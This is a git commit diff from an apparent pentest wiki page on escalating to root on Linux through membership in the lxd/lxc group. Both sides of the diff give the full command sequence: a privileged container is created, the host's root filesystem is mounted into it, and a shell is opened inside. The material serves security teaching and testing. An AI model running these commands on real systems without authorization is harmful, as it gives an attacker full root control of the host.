GitBook: [master] one page modified

This commit is contained in:
CPol 2020-08-10 09:55:03 +00:00 committed by gitbook-bot
parent c36d57820d
commit 8aa743edcc
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF
1 changed files with 9 additions and 11 deletions

View File

@ -6,12 +6,12 @@ If you belong to _**lxd**_ **or** _**lxc**_ **group**, you can become root
You can install in your machine this distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(follow the instructions of the github\):
```text
```bash
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
go get -d -v github.com/lxc/distrobuilder/distrobuilder
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
@ -28,14 +28,14 @@ Then, upload to the server the files **lxd.tar.xz** and **rootfs.squashfs**
Add the image:
```text
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
Create a container and add root path
```text
```bash
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
@ -44,27 +44,25 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t
Execute the container:
```text
```bash
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
## With internet
You can follow [these instructions](https://reboare.github.io/lxd/lxd-escape.html).
```text
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
## Other Refs
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" %}
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}